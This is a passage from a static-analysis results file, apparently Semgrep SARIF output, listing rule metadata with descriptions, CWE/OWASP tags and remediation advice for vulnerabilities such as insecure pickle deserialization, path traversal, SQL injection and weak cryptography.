[https://blog.trailofbits.com/2021/03/15/never-a-dill-moment-exploiting-machine-learning-pickle-files/](https://blog.trailofbits.com/2021/03/15/never-a-dill-moment-exploiting-machine-learning-pickle-files/)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/;](https://davidhamann.de/2020/04/05/exploiting-python-pickle/;)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://pytorch.org/docs/stable/_modules/torch/distributed/distributed_c10d.html#broadcast_object_list:~:text=.BytesIO()-,_pickler,-(f)](https://pytorch.org/docs/stable/_modules/torch/distributed/distributed_c10d.html#broadcast_object_list:~:text=.BytesIO()-,_pickler,-(f))\n - [https://pytorch.org/docs/stable/generated/torch.load.html](https://pytorch.org/docs/stable/generated/torch.load.html)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. A number of functions and packages in the `torch` module rely on the `pickle` module and should not be used to unpackage data from untrusted sources."},"helpUri":"https://semgrep.dev/r/python.lang.deserialization.tainted-torch-pickle.tainted-torch-pickle","id":"python.lang.deserialization.tainted-torch-pickle.tainted-torch-pickle","name":"python.lang.deserialization.tainted-torch-pickle.tainted-torch-pickle","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.deserialization.tainted-torch-pickle.tainted-torch-pickle"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet-core.path-traversal.file-taint-grpc.file-taint-grpc)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/csharp.dotnet-core.path-traversal.file-taint-grpc.file-taint-grpc","id":"csharp.dotnet-core.path-traversal.file-taint-grpc.file-taint-grpc","name":"csharp.dotnet-core.path-traversal.file-taint-grpc.file-taint-grpc","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet-core.path-traversal.file-taint-grpc.file-taint-grpc"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected 'urllib.urlopen()' using 'http://'. This request will not be encrypted. Use 'https://' instead."},"help":{"markdown":"Detected 'urllib.urlopen()' using 'http://'. This request will not be encrypted. Use 'https://' instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.insecure-transport.urllib.insecure-urlopen.insecure-urlopen)\n - [https://docs.python.org/3/library/urllib.request.html#urllib.request.urlopen](https://docs.python.org/3/library/urllib.request.html#urllib.request.urlopen)\n","text":"Detected 'urllib.urlopen()' using 'http://'. This request will not be encrypted. Use 'https://' instead."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.insecure-transport.urllib.insecure-urlopen.insecure-urlopen","id":"python.lang.security.audit.insecure-transport.urllib.insecure-urlopen.insecure-urlopen","name":"python.lang.security.audit.insecure-transport.urllib.insecure-urlopen.insecure-urlopen","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.insecure-transport.urllib.insecure-urlopen.insecure-urlopen"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Appending `$SLICE` from multiple goroutines is not concurrency safe"},"help":{"markdown":"Appending `$SLICE` from multiple goroutines is not concurrency safe\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/trailofbits.go.racy-append-to-slice.racy-append-to-slice)\n - [https://go.dev/blog/maps#concurrency](https://go.dev/blog/maps#concurrency)\n","text":"Appending `$SLICE` from multiple goroutines is not concurrency safe"},"helpUri":"https://semgrep.dev/r/trailofbits.go.racy-append-to-slice.racy-append-to-slice","id":"trailofbits.go.racy-append-to-slice.racy-append-to-slice","name":"trailofbits.go.racy-append-to-slice.racy-append-to-slice","properties":{"precision":"very-high","tags":["CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: trailofbits.go.racy-append-to-slice.racy-append-to-slice"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The environment variable `ACTIONS_ALLOW_UNSECURE_COMMANDS` grants this workflow permissions to use the `set-env` and `add-path` commands. There is a vulnerability in these commands that could result in environment variables being modified by an attacker. Depending on the use of the environment variable, this could enable an attacker to, at worst, modify the system path to run a different command than intended, resulting in arbitrary code execution. This could result in stolen code or secrets. Don't use `ACTIONS_ALLOW_UNSECURE_COMMANDS`. Instead, use Environment Files. See https://github.com/actions/toolkit/blob/main/docs/commands.md#environment-files for more information."},"help":{"markdown":"The environment variable `ACTIONS_ALLOW_UNSECURE_COMMANDS` grants this workflow permissions to use the `set-env` and `add-path` commands. There is a vulnerability in these commands that could result in environment variables being modified by an attacker. Depending on the use of the environment variable, this could enable an attacker to, at worst, modify the system path to run a different command than intended, resulting in arbitrary code execution. This could result in stolen code or secrets. Don't use `ACTIONS_ALLOW_UNSECURE_COMMANDS`. Instead, use Environment Files. See https://github.com/actions/toolkit/blob/main/docs/commands.md#environment-files for more information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.github-actions.security.allowed-unsecure-commands.allowed-unsecure-commands)\n - [https://github.blog/changelog/2020-10-01-github-actions-deprecating-set-env-and-add-path-commands/](https://github.blog/changelog/2020-10-01-github-actions-deprecating-set-env-and-add-path-commands/)\n - [https://github.com/actions/toolkit/security/advisories/GHSA-mfwh-5m23-j46w](https://github.com/actions/toolkit/security/advisories/GHSA-mfwh-5m23-j46w)\n - [https://github.com/actions/toolkit/blob/main/docs/commands.md#environment-files](https://github.com/actions/toolkit/blob/main/docs/commands.md#environment-files)\n","text":"The environment variable `ACTIONS_ALLOW_UNSECURE_COMMANDS` grants this workflow permissions to use the `set-env` and `add-path` commands. There is a vulnerability in these commands that could result in environment variables being modified by an attacker. Depending on the use of the environment variable, this could enable an attacker to, at worst, modify the system path to run a different command than intended, resulting in arbitrary code execution. This could result in stolen code or secrets. Don't use `ACTIONS_ALLOW_UNSECURE_COMMANDS`. Instead, use Environment Files. See https://github.com/actions/toolkit/blob/main/docs/commands.md#environment-files for more information."},"helpUri":"https://semgrep.dev/r/yaml.github-actions.security.allowed-unsecure-commands.allowed-unsecure-commands","id":"yaml.github-actions.security.allowed-unsecure-commands.allowed-unsecure-commands","name":"yaml.github-actions.security.allowed-unsecure-commands.allowed-unsecure-commands","properties":{"precision":"very-high","tags":["CWE-749: Exposed Dangerous Method or Function","MEDIUM CONFIDENCE","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.github-actions.security.allowed-unsecure-commands.allowed-unsecure-commands"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"'The implementation of the PKCS1 v1.5 padding scheme in the `cryptography` package is vulnerable to timing attacks. The RSA decryption raises an exception on failure, which takes a different amount of time than returning a value upon success. This is not considered secure and it is not recommended that PKCS1v15 is used in new applications. OAEP should be preferred for encryption and PSS should be preferred for signatures. In general, low-level cryptographic primitives, found in the `cryptography.hazmat package`, are complex and potentially dangerous, requiring deep cryptographic knowledge. It is recommended to use the higher-level recipes layer as a secure default and resort to the hazmat layer only when necessary."},"help":{"markdown":"'The implementation of the PKCS1 v1.5 padding scheme in the `cryptography` package is vulnerable to timing attacks. The RSA decryption raises an exception on failure, which takes a different amount of time than returning a value upon success. This is not considered secure and it is not recommended that PKCS1v15 is used in new applications. OAEP should be preferred for encryption and PSS should be preferred for signatures. In general, low-level cryptographic primitives, found in the `cryptography.hazmat package`, are complex and potentially dangerous, requiring deep cryptographic knowledge. It is recommended to use the higher-level recipes layer as a secure default and resort to the hazmat layer only when necessary.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.cryptography.cryptography-rsa-pkcs1-signature.cryptography-rsa-pkcs1-signature)\n - [https://cryptography.io/en/latest/hazmat/primitives/asymmetric/dsa/](https://cryptography.io/en/latest/hazmat/primitives/asymmetric/dsa/)\n - [https://cryptography.io/en/latest/hazmat/primitives/asymmetric/rsa/#cryptography.hazmat.primitives.asymmetric.padding.PKCS1v15](https://cryptography.io/en/latest/hazmat/primitives/asymmetric/rsa/#cryptography.hazmat.primitives.asymmetric.padding.PKCS1v15)\n - [https://nvlpubs.nist.gov/nistpubs/FIPS/NIST.FIPS.186-5.pdf](https://nvlpubs.nist.gov/nistpubs/FIPS/NIST.FIPS.186-5.pdf)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n - [https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/04-Testing_for_Weak_Encryption](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/04-Testing_for_Weak_Encryption)\n - [https://words.filippo.io/dispatches/dsa/](https://words.filippo.io/dispatches/dsa/)\n","text":"'The implementation of the PKCS1 v1.5 padding scheme in the `cryptography` package is vulnerable to timing attacks. The RSA decryption raises an exception on failure, which takes a different amount of time than returning a value upon success. This is not considered secure and it is not recommended that PKCS1v15 is used in new applications. OAEP should be preferred for encryption and PSS should be preferred for signatures. In general, low-level cryptographic primitives, found in the `cryptography.hazmat package`, are complex and potentially dangerous, requiring deep cryptographic knowledge. It is recommended to use the higher-level recipes layer as a secure default and resort to the hazmat layer only when necessary."},"helpUri":"https://semgrep.dev/r/python.cryptography.cryptography-rsa-pkcs1-signature.cryptography-rsa-pkcs1-signature","id":"python.cryptography.cryptography-rsa-pkcs1-signature.cryptography-rsa-pkcs1-signature","name":"python.cryptography.cryptography-rsa-pkcs1-signature.cryptography-rsa-pkcs1-signature","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.cryptography.cryptography-rsa-pkcs1-signature.cryptography-rsa-pkcs1-signature"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Kotlin, it is possible to adopt prepared statements using the `connection.PreparedStatement` class with parameterized queries. For more information, see: [Prepared statements in Kotlin](https://developer.android.com/reference/kotlin/java/sql/PreparedStatement)."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Kotlin, it is possible to adopt prepared statements using the `connection.PreparedStatement` class with parameterized queries. For more information, see: [Prepared statements in Kotlin](https://developer.android.com/reference/kotlin/java/sql/PreparedStatement).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.spring.exposed-exec-sqli.exposed-exec-sqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Kotlin, it is possible to adopt prepared statements using the `connection.PreparedStatement` class with parameterized queries. For more information, see: [Prepared statements in Kotlin](https://developer.android.com/reference/kotlin/java/sql/PreparedStatement)."},"helpUri":"https://semgrep.dev/r/kotlin.spring.exposed-exec-sqli.exposed-exec-sqli","id":"kotlin.spring.exposed-exec-sqli.exposed-exec-sqli","name":"kotlin.spring.exposed-exec-sqli.exposed-exec-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.spring.exposed-exec-sqli.exposed-exec-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead."},"help":{"markdown":"Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.crypto.use_of_weak_crypto.use-of-sha1)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.crypto.use_of_weak_crypto.use-of-sha1","id":"go.lang.security.audit.crypto.use_of_weak_crypto.use-of-sha1","name":"go.lang.security.audit.crypto.use_of_weak_crypto.use-of-sha1","properties":{"precision":"very-high","tags":["CWE-328: Use of Weak Hash","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.crypto.use_of_weak_crypto.use-of-sha1"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected non-static script inside otto VM. Audit the input to 'VM.Run'. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code."},"help":{"markdown":"Detected non-static script inside otto VM. Audit the input to 'VM.Run'. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.otto.security.audit.dangerous-execution.dangerous-execution)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected non-static script inside otto VM. Audit the input to 'VM.Run'. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code."},"helpUri":"https://semgrep.dev/r/go.otto.security.audit.dangerous-execution.dangerous-execution","id":"go.otto.security.audit.dangerous-execution.dangerous-execution","name":"go.otto.security.audit.dangerous-execution.dangerous-execution","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.otto.security.audit.dangerous-execution.dangerous-execution"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.secrets.reqwest.hardcoded-uri-password.hardcoded-uri-password)\n - [https://docs.rs/reqwest/latest/reqwest/](https://docs.rs/reqwest/latest/reqwest/)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/rust.secrets.reqwest.hardcoded-uri-password.hardcoded-uri-password","id":"rust.secrets.reqwest.hardcoded-uri-password.hardcoded-uri-password","name":"rust.secrets.reqwest.hardcoded-uri-password.hardcoded-uri-password","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: rust.secrets.reqwest.hardcoded-uri-password.hardcoded-uri-password"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The application is using variables or data stores that are defined or modified by untrusted input. To prevent this vulnerability perform strict input validation of the data against an allowlist of approved options."},"help":{"markdown":"The application is using variables or data stores that are defined or modified by untrusted input. To prevent this vulnerability perform strict input validation of the data against an allowlist of approved options.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.os.tainted-dotenv-variable-django.tainted-dotenv-variable-django)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"The application is using variables or data stores that are defined or modified by untrusted input. To prevent this vulnerability perform strict input validation of the data against an allowlist of approved options."},"helpUri":"https://semgrep.dev/r/python.django.os.tainted-dotenv-variable-django.tainted-dotenv-variable-django","id":"python.django.os.tainted-dotenv-variable-django.tainted-dotenv-variable-django","name":"python.django.os.tainted-dotenv-variable-django.tainted-dotenv-variable-django","properties":{"precision":"very-high","tags":["CWE-454: External Initialization of Trusted Variables or Data Stores","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.os.tainted-dotenv-variable-django.tainted-dotenv-variable-django"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for lack of usage of the \"secure: true\" option when sending ftp requests through the nodejs ftp module. This leads to unencrypted traffic being sent to the ftp server. There are other options such as \"implicit\" that still does not encrypt all traffic. ftp is the most utilized npm ftp module."},"help":{"markdown":"Checks for lack of usage of the \"secure: true\" option when sending ftp requests through the nodejs ftp module. This leads to unencrypted traffic being sent to the ftp server. There are other options such as \"implicit\" that still does not encrypt all traffic. ftp is the most utilized npm ftp module.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.js-node.ftp-request.ftp-request)\n - [https://www.npmjs.com/package/ftp](https://www.npmjs.com/package/ftp)\n - [https://openbase.io/js/ftp](https://openbase.io/js/ftp)\n","text":"Checks for lack of usage of the \"secure: true\" option when sending ftp requests through the nodejs ftp module. This leads to unencrypted traffic being sent to the ftp server. There are other options such as \"implicit\" that still does not encrypt all traffic. ftp is the most utilized npm ftp module."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.js-node.ftp-request.ftp-request","id":"problem-based-packs.insecure-transport.js-node.ftp-request.ftp-request","name":"problem-based-packs.insecure-transport.js-node.ftp-request.ftp-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.js-node.ftp-request.ftp-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Call to 'read()' without error checking is susceptible to file descriptor exhaustion. Consider using the 'getrandom()' function."},"help":{"markdown":"Call to 'read()' without error checking is susceptible to file descriptor exhaustion. Consider using the 'getrandom()' function.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/c.lang.security.random-fd-exhaustion.random-fd-exhaustion)\n - [https://lwn.net/Articles/606141/](https://lwn.net/Articles/606141/)\n","text":"Call to 'read()' without error checking is susceptible to file descriptor exhaustion. Consider using the 'getrandom()' function."},"helpUri":"https://semgrep.dev/r/c.lang.security.random-fd-exhaustion.random-fd-exhaustion","id":"c.lang.security.random-fd-exhaustion.random-fd-exhaustion","name":"c.lang.security.random-fd-exhaustion.random-fd-exhaustion","properties":{"precision":"very-high","tags":["CWE-774: Allocation of File Descriptors or Handles Without Limits or Throttling","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: c.lang.security.random-fd-exhaustion.random-fd-exhaustion"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.rocket.sql.tokio-postgres-taint.tokio-postgres-taint)\n - [https://docs.rs/tokio-postgres/latest/tokio_postgres/](https://docs.rs/tokio-postgres/latest/tokio_postgres/)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/rust.rocket.sql.tokio-postgres-taint.tokio-postgres-taint","id":"rust.rocket.sql.tokio-postgres-taint.tokio-postgres-taint","name":"rust.rocket.sql.tokio-postgres-taint.tokio-postgres-taint","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: rust.rocket.sql.tokio-postgres-taint.tokio-postgres-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.system.sqlconnection-hardcoded-secret.sqlconnection-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.system.sqlconnection-hardcoded-secret.sqlconnection-hardcoded-secret","id":"csharp.lang.security.system.sqlconnection-hardcoded-secret.sqlconnection-hardcoded-secret","name":"csharp.lang.security.system.sqlconnection-hardcoded-secret.sqlconnection-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.system.sqlconnection-hardcoded-secret.sqlconnection-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Java, you may also consider using a utility method such as `org.apache.commons.io.FilenameUtils.getName(...)` to only retrieve the file name from the path."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Java, you may also consider using a utility method such as `org.apache.commons.io.FilenameUtils.getName(...)` to only retrieve the file name from the path.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.path-traversal.file-access-taint-msg.file-access-taint-msg)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Java, you may also consider using a utility method such as `org.apache.commons.io.FilenameUtils.getName(...)` to only retrieve the file name from the path."},"helpUri":"https://semgrep.dev/r/java.micronaut.path-traversal.file-access-taint-msg.file-access-taint-msg","id":"java.micronaut.path-traversal.file-access-taint-msg.file-access-taint-msg","name":"java.micronaut.path-traversal.file-access-taint-msg.file-access-taint-msg","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.path-traversal.file-access-taint-msg.file-access-taint-msg"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"XML processor being instantiated without calling the `setFeature` functions that are generally used for disabling entity processing. User controlled data in XML Parsers can result in XML Internal Entity Processing vulnerabilities like the disclosure of confidential data, denial of service, Server Side Request Forgery (SSRF), port scanning. Make sure to disable entity processing functionality."},"help":{"markdown":"XML processor being instantiated without calling the `setFeature` functions that are generally used for disabling entity processing. User controlled data in XML Parsers can result in XML Internal Entity Processing vulnerabilities like the disclosure of confidential data, denial of service, Server Side Request Forgery (SSRF), port scanning. Make sure to disable entity processing functionality.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/scala.lang.security.audit.sax-dtd-enabled.sax-dtd-enabled)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"XML processor being instantiated without calling the `setFeature` 